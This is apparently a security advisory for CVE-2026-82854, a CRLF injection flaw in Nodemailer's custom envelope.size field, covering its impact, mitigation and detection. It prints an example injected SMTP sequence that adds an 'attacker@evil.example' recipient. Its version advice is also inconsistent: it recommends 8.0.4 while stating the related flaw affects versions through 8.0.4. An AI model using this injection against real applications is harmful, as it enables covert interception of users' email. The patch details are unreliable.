CVE-2026-82854: Nodemailer SMTP Command Injection via envelope.size

Overview

A critical CRLF (Carriage Return Line Feed) injection vulnerability has been disclosed in Nodemailer, one of the most widely used email-sending libraries in the Node.js ecosystem. Tracked as CVE-2026-82854, the flaw stems from an unsanitized envelope.size parameter that gets concatenated directly into the SMTP MAIL FROM command when an application supplies a custom envelope object to sendMail().

If an attacker can control the value passed into that size property, they can inject CRLF sequences to smuggle additional SMTP commands — most notably RCPT TO — into the session, silently adding attacker-controlled recipients to outbound email without the application's knowledge.

Technical Details

How It Works

Nodemailer normally auto-constructs the SMTP envelope from the message from/to fields and does not include a size property by default. The vulnerability only becomes reachable when an application passes a custom envelope object — for example, exposing envelope construction through an API parameter, admin panel field, or email-template configuration — and that size value is not validated as a strict integer.

Because Nodemailer concatenates size directly into the MAIL FROM command as SIZE=<value> without stripping \r\n characters, an attacker who controls that input can terminate the intended SMTP line early and inject a new command, such as:

MAIL FROM:<sender@example.com> SIZE=100
RCPT TO:<attacker@evil.example>

This lets the attacker add themselves — or anyone — as a silent recipient (or otherwise interfere with the SMTP transaction) on emails the application never intended to send to them.

A related but distinct flaw, CVE-2026-82853, affects Nodemailer through 8.0.4 via CRLF injection in the transport name option (used in the EHLO/HELO command). Organizations patching for CVE-2026-82854 should confirm they are on a release that addresses both issues.

Impact Assessment

Who Is At Risk

Any application that:

• Uses Nodemailer to send transactional or bulk email, and
• Passes a custom envelope object where the size field (or other envelope fields) can be influenced by user input, API parameters, or template configuration

is potentially exploitable. Applications that only use Nodemailer's default auto-constructed envelope (the common case) are not affected, since size is not populated automatically.

Potential Consequences

1. Unauthorized Recipient Injection — silent RCPT TO injection adds attacker-controlled addresses to legitimate outbound mail
2. Bypass of Application-Level Recipient Controls — allowlists or recipient validation performed before the envelope is built can be circumvented
3. Internal SMTP Reconnaissance — crafted commands can be used to probe SMTP server behavior
4. Data Exposure — sensitive transactional email (password resets, invoices, notifications) could be BCC'd to an attacker-controlled mailbox

Mitigation

Immediate Actions

• Upgrade Nodemailer to 8.0.4 or later immediately
• Audit any code that builds custom envelope objects and confirm none of the fields — especially size — are populated from unvalidated user or API input
• Enforce strict type checking on envelope fields at application boundaries (e.g., ensure size is a genuine integer before use)
• Strip \r and \n characters from any application input that maps into SMTP-related fields, as defense in depth

Detection Opportunities

• Review SMTP transaction logs for unexpected RCPT TO entries not matching the intended recipient list
• Monitor outbound mail for delivery to unfamiliar or unexpected domains
• Audit application code for sendMail() calls that construct a custom envelope object

Why This Matters

Nodemailer is a foundational dependency across a huge share of the Node.js ecosystem — password reset flows, invoicing systems, notification services, and marketing tools all commonly sit on top of it. A silent CRLF injection in the envelope-construction path is the kind of bug that's easy to miss in code review because the vulnerable pattern (passing through a "size" field) looks benign, but it opens a direct path to email interception and recipient-list poisoning.

References

• GitHub Security Advisory — GHSA-c7w3-x93f-qmm8
• VulnCheck Advisory
• NVD — CVE-2026-82854